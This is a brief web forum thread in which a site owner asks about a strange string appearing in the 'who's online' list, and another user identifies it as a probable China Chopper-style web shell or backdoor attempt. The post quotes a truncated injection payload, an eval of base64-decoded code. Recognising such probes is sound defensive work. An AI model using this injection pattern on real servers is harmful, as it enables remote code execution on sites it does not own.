PDA

View Full Version : Weird info showing on whosonline.


blind-eddie
12-25-2018, 08:43 PM
I have seen this a couple times on my site, would someone be kind enough to educate me about this?


|");var err:Exception;try{ eval (System.Text.Encoding.GetEncoding(936).GetString(S ystem.Convert.FromBase64String("UmVzcG9uc2UuV3JpdGUoImhhb3Jlbm" />

Dave
12-26-2018, 12:09 AM
Looks like a web shell, or a backdoor (attempt).
You can find more info on it here:

https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-ii.html

Depending on where you see it, it can be a serious issue.